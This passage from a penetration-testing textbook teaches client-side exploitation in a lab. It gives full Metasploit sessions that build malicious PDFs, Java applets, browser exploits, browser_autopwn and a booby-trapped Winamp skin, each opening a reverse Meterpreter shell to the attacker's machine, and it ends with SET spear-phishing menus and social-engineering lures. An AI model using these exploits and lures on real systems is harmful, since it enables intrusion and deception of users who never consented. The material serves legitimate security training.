We can set this parameter to automatically run the migrate script when a Meterpreter session opens. This way, when the browser dies, as long as the migrate script has finished, our session will be safe from the crash.
Additionally, by running the script automatically, we can migrate whenever a user accesses the malicious page, regardless of whether you have your eyes on Msfconsole when the session comes in, as shown in Listing 10-8. msf exploit(ms10_002_aurora) > set AutoRunScript migrate -fu
AutoRunScript => migrate -f msf exploit(ms10_002_aurora) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.20.9:4444
[*] Using URL: http://192.168.20.9:80/aurora
[*] Server started.
Listing 10-8: Setting the AutoRunScript parameter

To set advanced parameters, use the syntax set <parameter to set> <value>
(the same as setting regular options). For example, in Listing 10-8, we tell the migrate script to spawn a new process to migrate into with the -f flag u, and then we start the malicious server again.
Now browse to the malicious page from the Windows XP target again
(see Listing 10-9). msf exploit(ms10_002_aurora) > [*] 192.168.20.10 ms10_002_aurora - Sending Internet
Explorer "Aurora" Memory Corruption
[*] Sending stage (752128 bytes) to 192.168.20.10
[*] Meterpreter session 2 opened (192.168.20.9:4444 -> 192.168.20.10:1422) at 2015-05-05 20:26:15 -0400
[*] Session ID 2 (192.168.20.9:4444 -> 192.168.20.10:1422) processing AutoRunScript 'migrate -f' u
[*] Current server process: iexplore.exe (3476)

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[*] Spawning notepad.exe process to migrate to
[+] Migrating to 484
[+] Successfully migrated to process v
Listing 10-9: Automatically migrating

This time we get a session saying that the AutoRunScript parameter is processed automatically u. The migrate script spawns a notepad.exe process and moves into it v. When Internet Explorer dies, our session remains alive.
Though automatically migrating is a good idea when using a browser exploit, it still takes a few seconds for the migration to happen—seconds during which the user could close the browser and kill our session. Fortunately, the advanced Meterpreter option PrependMigrate, shown here, will migrate even faster, before the payload is run.
Name
: PrependMigrate
Current Setting: false
Description
: Spawns and runs shellcode in new process

You can set this option to true as an alternative to the AutoRunScript we used earlier.
This has been just one example of a browser exploit. Metasploit has other modules for exploiting vulnerabilities in Internet Explorer as well as other popular web browsers. As more organizations have hardened their external security posture, browser exploitation has given over the keys to the kingdom in many pentests as well as attacks.
Note

The Aurora vulnerability was patched in 2010, but users and organizations are bad at keeping their browsers up to date, so this exploit still finds targets today.
Additionally, though new remote exploits for operating systems are rare, major browsers such as Internet Explorer fall victim to new client-side attacks on a regular basis. Use Msfupdate as discussed in Chapter 4 to get the latest modules for new vulnerabilities, some of which may not even be patched by the vendor at the time of the module’s release. Note that running Msfupdate may affect how Metasploit works, which may make it more difficult to follow along with the book. Therefore, you may not want to update Metasploit until after you have read through the book.
Now let’s look at some other client-side software that can be exploited to gain command execution on a target system.

PDF Exploits
Portable Document Format (PDF) software can also be exploited. If a user can be enticed to open a malicious PDF in a vulnerable viewer, the program can be exploited.
The most popular PDF viewer for Windows systems is Adobe Reader.
Like browsers, Adobe Reader has a history littered with security holes. Also like browsers, even when a patch-management process is in place, regularly updating the underlying operating system, PDF software is often forgotten, and remains at an older, vulnerable version.
Client-Side Exploitation 225

Exploiting a PDF Vulnerability
Our Windows XP target has an outdated version of Adobe Reader 8.1.2 installed that is subject to CVE-2008-2992, a stack-based buffer overflow. The corresponding Metasploit module is exploit/windows/fileformat/ adobe_utilprintf. The options for this module are a bit different than anything we’ve seen thus far, as shown in Listing 10-10. This is a client-side attack, so there is no RHOST option, but unlike our browser attack, there are also no SRVHOST or SRVPORT options. This module simply creates a malicious PDF; hosting it for delivery and setting up a payload handler is up to us. Of course, we have all the skills necessary to perform both these tasks easily. msf > use exploit/windows/fileformat/adobe_utilprintf msf exploit(adobe_utilprintf) > show options
Module options (exploit/windows/fileformat/adobe_utilprintf):
Name
Current Setting
-----------------uFILENAME msf.pdf

Required
-------yes

Description
----------The file name.

Exploit target:
Id
-v0

msf

Name
---Adobe Reader v8.1.2 (Windows XP SP3 English)

exploit(adobe_utilprintf) > exploit

[*] Creating 'msf.pdf' file...
[+] msf.pdf stored at /root/.msf4/local/msf.pdf w
Listing 10-10: A Metasploit PDF exploit

As you can see, the only option for the PDF exploit is the name of the malicious file to be generated u. We can leave the default, msf.pdf. For this example, we’ll have Metasploit use the default payload, windows/meterpreter/ reverse_tcp on port 4444. When we enter exploit, Metasploit generates a PDF that will exploit this vulnerability in a vulnerable version of Adobe Reader on Windows XP SP3 English v. The malicious PDF is stored as /root/.msf4/ local/msf.pdf w.
Now we need to serve the PDF and set up a handler for the payload, as shown in Listing 10-11. msf exploit(adobe_utilprintf) > cp /root/.msf4/local/msf.pdf /var/www
[*] exec: cp /root/.msf4/local/msf.pdf /var/www msf exploit(adobe_utilprintf) > service apache2 start
[*] exec service apache2 start

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Starting web server: apache2. msf exploit(adobe_utilprintf) > use multi/handleru msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.20.9 lhost => 192.168.20.9 msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.20.9:4444
[*] Sending stage (752128 bytes) to 192.168.20.10
[*] Meterpreter session 2 opened (192.168.20.9:4444 -> 192.168.20.10:1422) at
2015-05-05 20:26:15 -0400 v
Listing 10-11: Serving the malicious PDF and using a handler

We copy the file to the Apache web server folder and start the server, if it is not already running. We’ll look at ways to lure users into opening malicious files later in this chapter, but for now we’ll just open the malicious PDF in Adobe Reader 8.1.2 on our Windows XP target. First, though, we need to set up a handler for the payload. We can use the multi/handler u module as we learned in Chapter 4. (Be sure to kill the Aurora job if its handler is also listening on port 4444 to free up this port for multi/handler use). When we open the malicious PDF, we again receive a session v.
Typically with an attack like this we won’t be targeting just one user. For best results we might use this malicious PDF as part of a social-engineering campaign, as discussed in the next chapter, by sending out a few to even hundreds of malicious PDFs in an attempt to entice users to open them. The multi/handler listener we set up previously will close as soon as it sees the first connection, causing us to miss any other connections that come in from other users opening the PDF. It would be much better if we could leave our listener open to catch additional incoming connections.
As it turns out, an advanced option for the multi/handler module solves this problem. As shown in Listing 10-12, the advanced option ExitOnSession, which is set to true by default, specifies whether the listener closes after it receives a session. If we set this option to false, the listener will stay open and allow us to catch multiple sessions with a single handler. msf exploit(handler) > show advanced
Module advanced options:
--snip-Name
: ExitOnSession
Current Setting: true
Description
: Return from the exploit after a session has been created msf exploit(handler) > set ExitOnSession falseu
ExitOnSession => false msf exploit(handler) > exploit -jv
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.20.9:4444
[*] Starting the payload handler...
Listing 10-12: Keeping the handler open for multiple sessions
Client-Side Exploitation 227

Set ExitOnSession to false in the usual way u. One side effect of this option is that if we, say, exploit and start the listener in the foreground, it will never close, so we will be stuck without an Msfconsole prompt indefinitely. For this reason, Metasploit will complain and note that you should use the -j option with exploit v to run the handler as a job, in the background. This way you can continue to use Msfconsole while the handler catches any incoming shells in the background. To close the handler in the future, use jobs, followed by kill <job number> as we did in the Aurora example. This exploit and the Aurora browser example discussed earlier both rely on a missing security patch. Here we’ve exploited a security vulnerability to hijack control of the program and execute malicious code by tricking the user into letting us run malicious code. If the user will allow us to run code, a vulnerability in the PDF software becomes unnecessary.
PDF Embedded Executable
Now for another PDF attack: This time we’ll embed a malicious executable inside a PDF. The corresponding Metasploit module is exploit/windows/ fileformat/adobe_pdf_embedded_exe, as shown in Listing 10-13. Instead of exploiting the software as soon as the PDF is opened, the generated PDF will prompt the user for permission to run the embedded file. The success of our attack is contingent on the user allowing our executable to run. msf > use exploit/windows/fileformat/adobe_pdf_embedded_exe msf exploit(adobe_pdf_embedded_exe) > show options
Module options (exploit/windows/fileformat/adobe_pdf_embedded_exe):
Name
Current Setting
-----------------uEXENAME
vFILENAME evil.pdf wINFILENAME xLAUNCH_MESSAGE To view the encrypted content please tick the "Do not show this message again" box and press Open.
--snip--

Required
-------no
no yes no

Description
----------The Name of payload exe.
The output filename.
The Input PDF filename.
The message to display in the File: area

Listing 10-13: PDF embedded EXE module

The module lets us specify a prebuilt executable file with the EXENAME u option. If we don’t set this option, we can embed an .exe file created from whatever payload we select. We can again change the filename to anything we like or leave the value as the default v. To use this module, we must use an input PDF for the INFILENAME w option. The LAUNCH_MESSAGE x option is the text that will be shown to the user as part of the prompt to run the executable. Set the relevant options, as shown in Listing 10-14.

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msf exploit(adobe_pdf_embedded_exe) > set INFILENAME /usr/share/set/readme/User_Manual.pdfu
INFILENAME => /usr/share/set/readme/User_Manual.pdf msf exploit(adobe_pdf_embedded_exe) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(adobe_pdf_embedded_exe) > set LHOST 192.168.20.9
LHOST => 192.168.20.9 msf exploit(adobe_pdf_embedded_exe) > exploit
[*]
[*]
[*]
[*]
[+]

Reading in '/usr/share/set/readme/User_Manual.pdf'...
Parsing '/usr/share/set/readme/User_Manual.pdf'...
Using 'windows/meterpreter/reverse_tcp' as payload...
Parsing Successful. Creating 'evil.pdf' file... evil.pdf stored at /root/.msf4/local/evil.pdfv

Listing 10-14: Setting module options and creating the malicious PDF

We’ll use a PDF included with Kali Linux for our example: the Metasploit user guide at /user/share/set/readme/User_Manual.pdf u. The generated PDF is again stored in the /root/msf4/local/ directory v. (Be sure to set up a handler for the payload with the multi/handler module before opening the PDF on the Windows XP target. For a refresher, see Listing 10-11.) note The previous exploit may have left Adobe Reader in a bad state, so you may need to restart Windows XP to get it to properly load the new PDF.
When the malicious PDF is opened, the user sees a warning like the one shown in Figure 10-1. The user must click Open for the embedded executable to run. This attack depends on users being willing to click through this warning.

Figure 10-1: PDF embedded executable user warning
Client-Side Exploitation 229

Once you click Open in the PDF warning, the payload will run, and you will receive a session.

Java Exploits
Java vulnerabilities are a prevalent client-side attack vector. In fact, some experts suggest that in light of the security issues that plague Java, users should uninstall or disable the software in their browsers.
One thing that makes Java attacks so powerful is that one exploit can gain access to multiple platforms. Windows, Mac, and even Linux systems running the Java Runtime Environment (JRE) in a browser can all be exploited by exactly the same exploit when that browser opens a malicious page. Here are some sample exploits.
Java Vulnerability
As exhibit number one, we’ll use the Metasploit module exploit/multi/browser/ java_jre17_jmxbean, as shown in Listing 10-15. Use of this module is similar to that of the Internet Explorer Aurora exploit shown earlier in this chapter. Metasploit sets up a malicious server to exploit this cross-platform vulnerability on any browser that arrives at the page. Any browser running Java version 7 before update 11 is affected. msf > use exploit/multi/browser/java_jre17_jmxbean msf exploit(java_jre17_jmxbean) > show options
Module options (exploit/multi/browser/java_jre17_jmxbean):
Name
---SRVHOST

Required
-------yes

8080

yes

Description
----------The local host to listen on. This must be an address on the local machine or 0.0.0.0
The local port to listen on.

no

The URI to use for this exploit (default is random)

SRVPORT
--snip-URIPATH

Current Setting
--------------0.0.0.0

Exploit target:
Id
-0

Name
---Generic (Java Payload)

msf exploit(java_jre17_jmxbean)
SRVHOST => 10.0.1.9 msf exploit(java_jre17_jmxbean)
SRVPORT => 80 msf exploit(java_jre17_jmxbean)
URIPATH => javaexploit msf exploit(java_jre17_jmxbean)

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> set SRVHOST 192.168.20.9
> set SRVPORT 80
> set URIPATH javaexploit
> show payloadsu

Compatible Payloads
===================
Name
-----snip-java/meterpreter/bind_tcp

Disclosure Date
---------------

Rank
----

Description
-----------

normal

Java Meterpreter, Java Bind TCP
Stager
Java Meterpreter, Java Reverse HTTP
Stager
Java Meterpreter, Java Reverse
HTTPS Stager
Java Meterpreter, Java Reverse TCP
Stager
Java Command Shell, Reverse TCP
Inline

java/meterpreter/reverse_http

normal

java/meterpreter/reverse_https

normal

java/meterpreter/reverse_tcp

normal

java/shell_reverse_tcp

normal

--snip-msf exploit(java_jre17_jmxbean) > set payload java/meterpreter/reverse_httpv payload => java/meterpreter/reverse_http
Listing 10-15: Setting up a Java exploit

Set the options to match your environment. Set the SRVHOST option to the local IP address, and change the SRVPORT, if you would like. Set the
URIPATH to something that will be easy to type in your target browser.
Notice that because this exploit is multi-platform and the code execution takes place entirely inside the JRE, our payload options are Java-based.
The usual suspects are all here, from staged payloads, inline payloads, bind shells, reverse shells, Meterpreter, and so on, as shown in the list of payloads at u. We’ll use the payload java/meterpreter/reverse_http, which uses legitimate
HTTP traffic v. Its options are shown in Listing 10-16. exploit(java_jre17_jmxbean) > show options

msf

Module options (exploit/multi/browser/java_jre17_jmxbean):
--snip-Payload options (java/meterpreter/reverse_http):
Name
---LHOST
LPORT

Current Setting
--------------8080

Required
-------yes
yes

Description
----------The local listener hostname
The local listener port

Exploit target:
Id
-0

Name
---Generic (Java Payload)

Client-Side Exploitation 231

msf exploit(java_jre17_jmxbean) > set LHOST 192.168.20.9
LHOST => 192.168.20.9 msf exploit(java_jre17_jmxbean) > exploit
[*] Exploit running as background job.
[*] Started HTTP reverse handler on http://192.168.20.9:8080/
[*] Using URL: http://192.168.20.9:80/javaexploit
[*] Server started. msf exploit(java_jre17_jmxbean) > [*] 192.168.20.12 java_jre17_jmxbean - handling request for /javaexploit
[*] 192.168.20.12 java_jre17_jmxbean - handling request for /javaexploit/
[*] 192.168.20.12 java_jre17_jmxbean - handling request for /javaexploit/hGPonLVc.jar
[*] 192.168.20.12 java_jre17_jmxbean - handling request for /javaexploit/hGPonLVc.jar
[*] 192.168.20.12:49188 Request received for /INITJM...
[*] Meterpreter session 1 opened (192.168.20.9:8080 -> 192.168.20.12:49188) at 2015-05-05
19:15:19 -0400
Listing 10-16: Exploiting a Java vulnerability with an HTTP payload

These options should look familiar. The default LPORT option is now
8080 instead of 4444. Notice that both SRVPORT and LPORT default to 8080, so we’ll need to change at least one of them.
After you’ve finished setting options, start the exploit server and browse to the malicious page from your Windows 7 target. Either Internet Explorer or Mozilla Firefox will fall victim to this attack as long as you have enabled the vulnerable Java browser plugin.
One of the great features of the HTTP and HTTPS Meterpreter payloads, aside from being legitimate HTTP and HTTPS traffic and thus by­ assing even some traffic-inspecting filters, is their ability to reattach to p a dropped session. (Network problems can cause sessions to spontaneously die—a big annoyance for pentesters.) We’ll examine other ways to gain persistent access in Chapter 13, but for now let’s detach our Meterpreter session, as shown in Listing 10-17. msf exploit(java_jre17_jmxbean) > sessions -i 1
[*] Starting interaction with 1... meterpreter > detach
[*] 10.0.1.16 - Meterpreter session 1 closed. Reason: User exit msf exploit(java_jre17_jmxbean) >
[*] 192.168.20.12:49204 Request received for /WzZ7_vgHcXA6kWjDi4koK/...
[*] Incoming orphaned session WzZ7_vgHcXA6kWjDi4koK, reattaching...
[*] Meterpreter session 2 opened (192.168.20.9:8080 -> 192.168.20.12:49204) at
2015-05-05 19:15:45 -0400 u
Listing 10-17: Detaching the HTTP Meterpreter session

As you can see, the handler for the HTTP Meterpreter payload is still running in the background. Wait a few seconds, and you should see a new session open without the user needing to revisit the attack page as shown at u. Unless the session has been formally exited, the payload will continue
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to try to connect back to Metasploit. (You can specify how long the session tries to reconnect with the SessionCommunicationTimeOut parameter, an advanced option for the payload.)
But what if your pentest target is diligent in updating Java, and there are currently no zero-days for the software floating around the Internet?
Signed Java Applet
Much like the attack against PDF users discussed in “PDF Embedded
Executable” on page 228, we can bypass the need for an unpatched Java vulnerability by simply asking users to allow us to run malicious code.
You’ve probably seen browser warnings like, “This site would like to run this thing in your browser, how would you like to proceed?” Sometimes even security-savvy users can be convinced to just say “Yes” and bypass this warning without further investigation if they can be convinced that what’s on the other side is useful.
The module we’ll use for this example is exploit/multi/browser/java_ signed_applet. As the name implies, this module will create a malicious Java applet, as shown in Listing 10-18. exploit(java_jre17_jmxbean) > use exploit/multi/browser/java_signed_applet exploit(java_signed_applet) > show options

msf msf Module options (exploit/multi/browser/java_signed_applet):
Name
---APPLETNAME uCERTCN Current Setting
--------------SiteLoader
SiteLoader

Required
-------yes
yes

SRVHOST

0.0.0.0

yes

SRVPORT
SSL
SSLCert

8080 false yes no no

SSLVersion

SSL3

no

vSigningCert

no

SigningKey
SigningKeyPass

no no URIPATH

no

Description
----------The main applet's class name.
The CN= value for the certificate. Cannot contain
',' or '/'
The local host to listen on. This must be an address on the local machine or 0.0.0.0
The local port to listen on.
Negotiate SSL for incoming connections
Path to a custom SSL certificate (default is randomly generated)
Specify the version of SSL that should be used
(accepted: SSL2, SSL3, TLS1)
Path to a signing certificate in PEM or PKCS12
(.pfx) format
Path to a signing key in PEM format
Password for signing key (required if SigningCert is a .pfx)
The URI to use for this exploit (default is random) Exploit target:
Id
-w1

Name
---Windows x86 (Native Payload)

Client-Side Exploitation 233

msf exploit(java_signed_applet) > set APPLETNAME BulbSec
APPLETNAME => Bulb Security msf exploit(java_signed_applet) > set SRVHOST 192.168.20.9
SRVHOST => 192.168.20.9 msf exploit(java_signed_applet) > set SRVPORT 80
SRVPORT => 80
Listing 10-18: Metasploit signed Java applet module

Older versions of Java will allow us to use the CERTCN option shown at u to say that the applet is signed by any entity that we choose. Newer versions of
Java, like the one installed on the Windows 7 target, will say that the signer is unknown unless we sign the applet with a trusted signing certificate, which we can specify at v. If this option is set, it will override the CERTCN option. If we have a trusted signing certificate or we’ve compromised a certificate from our target, we can make our applet look more legitimate, but we’ll leave our applet self-signed for this example.
As shown at w, the default target for this module is a Windows system.
However, as shown in Listing 10-19, we can use payloads for other platforms running JRE. exploit(java_signed_applet) > show targets

msf

Exploit targets:
Id
-u0
1
2
3
4

Name
---Generic (Java Payload)
Windows x86 (Native Payload)
Linux x86 (Native Payload)
Mac OS X PPC (Native Payload)
Mac OS X x86 (Native Payload)

msf exploit(java_signed_applet) > set target 0 target => 0 msf exploit(java_signed_applet) > set payload java/meterpreter/reverse_tcp payload => java/meterpreter/reverse_tcp msf exploit(java_signed_applet) > set LHOST 192.168.20.9
LHOST => 192.168.20.9 msf exploit(java_signed_applet) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.20.9:4444
[*] Using URL: http://192.168.20.9:80/Dgrz12PY
[*] Server started.
Listing 10-19: Using a Java payload

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As with other Java exploits, we can make this attack multi-platform. We can change the target to Linux or Mac OS, or use a Java payload u that will target them all. note As with our PDF examples, the previous exploit has left Java in a bad state, and you may need to restart Windows 7 before attempting to run the applet.
Browse to the Metasploit server from your Windows 7 target, and you should be prompted to run the applet, as shown in Figure 10-2. The security warning informs you that if this applet is malicious, it will have access to the system and lets you know you should run the application only if the publisher is trusted. Because we didn’t use a signing certificate that is trusted by the browser certificate chain, the warning says in big letters that the publisher is unknown. This should stop anyone from running the malicious applet, right?

Figure 10-2: Java applet attack

Despite the warnings, the Social-Engineer Toolkit (which we’ll explore in the next chapter) claims that this attack is one of the most successful of the many available, even though it doesn’t rely on any unpatched vulnerability in Java or the underlying operating system.

browser_autopwn
The browser_autopwn module is another client-side exploitation option available in Metasploit. Although it’s sometimes considered cheating, this module loads all the browser and browser add-on modules that it knows

Client-Side Exploitation 235

of (including Java, Flash, and so on) and waits for a browser to connect to the server. Once the browser connects, the server fingerprints the browser and serves up all the exploits it thinks are likely to succeed. An example is shown in Listing 10-20. msf > use auxiliary/server/browser_autopwn msf auxiliary(browser_autopwn) > show options
Module options (auxiliary/server/browser_autopwn):
Name
---LHOST
SRVHOST

Current Setting
---------------

SRVPORT
SSL
SSLCert

8080 false yes no no

SSLVersion

SSL3

no

0.0.0.0

URIPATH

no

msf auxiliary(browser_autopwn)
LHOST => 192.168.20.9 msf auxiliary(browser_autopwn)
URIPATH => autopwn msf auxiliary(browser_autopwn)
[*] Auxiliary module execution
[*]
msf
[*]
[*]

Required
-------yes
yes

Description
----------The IP address to use for reverse-connect payloads
The local host to listen on. This must be an address on the local machine or 0.0.0.0
The local port to listen on.
Negotiate SSL for incoming connections
Path to a custom SSL certificate (default is randomly generated) Specify the version of SSL that should be used
(accepted: SSL2, SSL3, TLS1)
The URI to use for this exploit (default is random)

> set LHOST 192.168.20.9
> set URIPATH autopwn
> exploit completed Setup auxiliary(browser_autopwn) >
Obfuscating initial javascript 2015-03-25 12:55:22 -0400
Done in 1.051220065 seconds

[*] Starting exploit modules on host 192.168.20.9...
--snip-[*] --- Done, found 16 exploit modules
[*] Using URL: http://0.0.0.0:8080/autopwn
[*] Local IP: http://192.168.20.9:8080/autopwn
[*] Server started.
Listing 10-20: Starting browser_autopwn

Our options for this module are the usual client-side attacks. As shown here, I’ve set the LHOST for my shells to call back to Kali’s IP address, and
URIPATH to something easy to remember (autopwn). Note that we don’t need to set any payloads here; as the individual modules are loaded, Metasploit sets the payload options appropriately.

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With the server started, browse to the malicious page from a web browser. I used Internet Explorer on my Windows 7 target as shown in
Listing 10-21.
[*] 192.168.20.12 browser_autopwn - Handling '/autopwn'
[*] 192.168.20.12 browser_autopwn - Handling '/autopwn?sessid=TWljcm9zb2Z0IFdpbmRvd3M6NzpTUDE6
ZW4tdXM6eDg2Ok1TSUU6OC4wOg%3d%3d'
[*] 192.168.20.12 browser_autopwn - JavaScript Report: Microsoft Windows:7:SP1:en-us:x86:
MSIE:8.0: u
[*] 192.168.20.12 browser_autopwn - Responding with 14 exploits v
[*] 192.168.20.12 java_atomicreferencearray - Sending Java AtomicReferenceArray Type Violation
Vulnerability
--snip-msf auxiliary(browser_autopwn) > sessions -l
Active sessions
===============
Id Type
Information
-- -------------1 meterpreter java/java Georgia Weidman @ BookWin7
2

meterpreter java/java Georgia Weidman @ BookWin7

3

meterpreter java/java Georgia Weidman @ BookWin7

4

meterpreter java/java Georgia Weidman @ BookWin7

Connection
---------192.168.20.9:7777 ->
192.168.20.12:49195
192.168.20.9:7777 ->
192.168.20.12:49202
192.168.20.9:7777 ->
192.168.20.12:49206
192.168.20.9:7777 ->
192.168.20.12:49209

(192.168.20.12)
(192.168.20.12)
(192.168.20.12)
(192.168.20.12)

Listing 10-21: Autopwning a browser

As you can see Metasploit notices my browser and attempts to detect its version and running software u. It then sends all the exploits it thinks might be effective v.
Once all is said and done, run sessions -l to see how things turned out.
In my case, I received four new sessions. Not bad for so little work. As you might expect though, all of those exploits overwhelmed the browser and it crashed. (Luckily, all of our sessions were automatically migrated.)
Though browser_autopwn is not nearly as stealthy or elegant as performing reconnaissance and then choosing a particular exploit likely to work against a target, it can be a real help in a pinch, which is why it’s worth having in your pentesting arsenal.

Winamp
So far our client-side attacks have basically followed the same pattern. We generate a malicious file that exploits a vulnerability in the client software or prompts the user for permission to run malicious code. The user opens the file with the relevant program, and we get a session in Metasploit. Now for something a bit different.

Client-Side Exploitation 237

In this example, we trick the user into replacing a configuration file for the Winamp music player program. When the user next opens the program, the evil configuration file will be processed regardless of which music file the user opens. The Metasploit module we’ll use is exploit/windows/ fileformat/winamp_maki_bof, which exploits a buffer overflow issue in
Winamp version 5.55.
As you can see with show options in Listing 10-22, this module has no options to set; all we need is a Windows payload. The module generates a malicious Maki file for use with Winamp skins. As with our PDF examples, it’s up to us to serve the file and set up a handler for the payload. msf > use exploit/windows/fileformat/winamp_maki_bof msf exploit(winamp_maki_bof) > show options
Module options (exploit/windows/fileformat/winamp_maki_bof):
Name
----

Current Setting
---------------

Required
--------

Description
-----------

Exploit target:
Id
-0

Name
---Winamp 5.55 / Windows XP SP3 / Windows 7 SP1

msf exploit(winamp_maki_bof) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(winamp_maki_bof) > set LHOST 192.168.20.9
LHOST => 192.168.20.9 msf exploit(winamp_maki_bof) > exploit
[*] Creating 'mcvcore.maki' file ...
[+] mcvcore.maki stored at /root/.msf4/local/mcvcore.maki
Listing 10-22: Metasploit Winamp exploit

Choose a compatible Windows payload as shown. Once the malicious
Maki file has been generated, copy it to the Apache web server directory, and set up a payload handler. (An example of setting up the handler is included in Listing 10-11 on page 227.) Now we need to package this malicious file in such a way that a user may be convinced to load it in Winamp. We can create a new Winamp skin by copying one of the skins packaged with Winamp. We can replace the mcvcore.maki file from our example skin with our malicious one. It doesn’t matter what our skin actually looks like, because it will cause
Winamp to hang and send us our session in Metasploit.

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In Windows 7, make a copy of the default Bento Winamp skin folder from C:\Program Files\Winamp\Skins and copy it to Kali. Rename the folder
Bento to Rocketship. Replace the file Rocketship\scripts\mcvcore.maki with the malicious file we just created in Metasploit. Zip the folder and copy it to the web server. In the next chapter we will look at methods of creating believable social-engineering campaigns, but suffice it to say, if we can convince users that this malicious skin will make their Winamp look like a rocket ship, we might be able to convince users to install it.
Switch to Windows 7, download the zipped skin from the Kali web server, unzip it, and save the folder to C:\Program Files\Winamp\Skins as shown in Figure 10-3.

Figure 10-3: Installing the malicious Winamp skin

Now open Winamp, go to Options4Skins, and choose Rocketship, as shown in Figure 10-4.
Once you select the malicious skin, Winamp will appear to close, and you will receive a session in your Metasploit handler.

Client-Side Exploitation 239

Figure 10-4: Using the malicious skin

Summary
The attacks we’ve seen in this chapter target software that is not listening on a network port. We attacked browsers, PDF viewers, the Java browser plugin, and a music player. We generated malicious files that trigger a vulnerability in the client-side software when opened by the user, and we looked at examples that ask the user for permission to run malicious code instead of relying on an unpatched vulnerability.
The Internet can be a scary place for client-side software. Some of the exploits discussed in this chapter were seen in the wild before a patch was issued by the vendors. In fact, the Java exploit we used in “Java Vulnerability” on page 230 was still a zero-day vulnerability when the Metasploit module was added to the framework. Anyone using Java 7 could run afoul of a malicious site, even if his or her machine was fully patched, and all an attacker had to do was use Metasploit to perform a successful attack.
Of course, disabling or uninstalling Java fixes this problem in the event of a zero-day exploit running rampant on the Internet, but that might not be feasible for all users and organizations. Though not all sites use Java, popular online meeting software such as WebEx and GoToMeeting require
Java, and the virtual classroom software Blackboard has Java components as

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well. A lot of network/security appliances actually require network/security admins to run outdated versions of Java, which makes them perfect targets for client-side attacks. Most readers can probably think of at least one site that complains if Java is not installed.
Client-side software is necessary to perform day-to-day tasks in any organization, but this software should not be overlooked when evaluating security risks. Keeping all client-side software up-to-date with the latest patches can be a daunting task on your personal computer, much less on the computers of an entire organization. Even organizations that are doing a good job of applying important Windows security fixes may miss an update to Java or Adobe Reader and leave company workstations open to client-side attacks.
All of the attacks in this chapter depend on a legitimate user taking action on the target systems. Although we’ve seen what can happen when users are tricked into opening malicious files, we’ve yet to look at the tricks used to make people open those files. In the next chapter we’ll study social engineering—that is, ways of tricking users into performing harmful actions such as opening a malicious file, entering credentials into an attacker-owned site, or giving out sensitive information over the phone.

Client-Side Exploitation 241

11

Social Engineering

It is a common saying in information security that users are the vulnerability that can never be patched.
Put all the security controls in place that you want, but if an employee can be convinced to give up sensitive company information, it is all for naught. In fact, many of the most famous hacks include no system exploitation at all.
For example, consider notorious hacker Kevin Mitnick. Many of Mitnick’s most famous exploits came down to walking into a building, convincing the security guard he had permission to be there, and then walking out with what he wanted. This kind of attack, called social engineering, exploits human vulnerabilities: a desire to be helpful, unawareness of security policies, and so on.

Social-engineering attacks can involve complex technical requirements or no technology at all. A social engineer can buy a cable guy uniform at the thrift store and potentially walk into an organization, and even into the server room. The IT help desk can receive a frantic call from the boss’s boss’s assistant, who claims to have locked himself out of his webmail account. People generally want to be helpful, so unless there is a secure policy in place, the help desk worker may read back the password over the phone or set it to a default value, even though the caller is not who he says he is.
A common vector for social-engineering attacks is email. If you are ever short on entertainment at work, check out your email spam folder. Among the advertisements to make some things bigger and others smaller, you will find people trying desperately to give you all their money. I firmly believe that if you can find the one African prince who really does want to give you his fortune, it will be worth all those times your bank account got hacked from answering phishing emails. Joking aside, attempting to trick a user into giving up sensitive information by posing as a trusted person via email or other electronic means is known as a phishing attack. Phishing emails can be used to lure targets to visit malicious sites or download malicious attachments, among other things. Social-engineering attacks are the missing element needed to trick users into falling victim to the client-side attacks we studied in Chapter 10.
Companies should put time and effort into training all employees about social-engineering attacks. No matter what sort of security technologies you put in place, employees have to be able to use their workstations, their mobile devices, and so on to get their job done. They will have access to sensitive information or security controls that, in the wrong hands, could harm the organization. Some security-awareness training may seem obvious, like “Don’t share your password with anyone” and “Check someone’s badge before you hold the door to a secure area for him or her.” Other security awareness may be new to many employees. For instance, on some pentesting engagements, I’ve had great success leaving USB sticks in the parking lot or DVDs labeled “Payroll” on the bathroom floor. Curious users start plugging these in, opening files, and giving me access to their systems.
Security-awareness training about malicious files, USB switchblades, and other attacks can help stop users from falling victim to these types of socialengineering attacks.

The Social-Engineer Toolkit
TrustedSec’s Social-Engineer Toolkit (SET), an open source Python-driven tool, is designed to help you perform social-engineering attacks during pentests. SET will help you create a variety of attacks such as email phishing campaigns (designed to steal credentials, financial information, and so on using specially targeted email) and web-based attacks (such as cloning a client website and tricking users into entering their login credentials).

244 Chapter 11

SET comes preinstalled in Kali Linux. To start SET in Kali Linux, enter setoolkit at a prompt, as shown in Listing 11-1. We’ll use SET to run social-engineering attacks, so enter a 1 at the prompt to move to the SocialEngineering Attacks menu. You will be prompted to accept the terms of service. root@kali:~# setoolkit
--snip-Select from the menu:
1) Social-Engineering Attacks
2) Fast-Track Penetration Testing
3) Third Party Modules
--snip-99) Exit the Social-Engineer Toolkit set> 1
Listing 11-1: Starting SET

In this chapter we’ll look at just a few of the SET attacks that I use regularly on pentesting engagements. We’ll begin with spear-phishing attacks, which allow us to deliver attacks via email.

Spear-Phishing Attacks
The Social-Engineering Attacks menu gives us several attack options, as shown in Listing 11-2. We’ll create a spear-phishing attack, which will allow us to create malicious files for client-side attacks (like the ones covered in
Chapter 10), email them, and automatically set up a Metasploit handler to catch the payload.
Select from the menu:
1) Spear-Phishing Attack Vectors u
2) Website Attack Vectors
3) Infectious Media Generator
4) Create a Payload and Listener
5) Mass Mailer Attack
--snip-99) Return back to the main menu. set> 1
Listing 11-2: Choose Spear-Phishing Attack Vectors

Select option 1 to choose Spear-Phishing Attack Vectors u. The SpearPhishing Attack Vectors menu is shown in Listing 11-3.
1) Perform a Mass Email Attack u
2) Create a FileFormat Payload v
3) Create a Social-Engineering Template w
Social Engineering 245

--snip-99) Return to Main Menu set:phishing> 1
Listing 11-3: Choose Perform a Mass Email Attack

The first option, Perform a Mass Email Attack u, allows us to send a malicious file to a predefined email address or list of addresses as well as set up a Metasploit listener for the selected payload. The second option, Create a
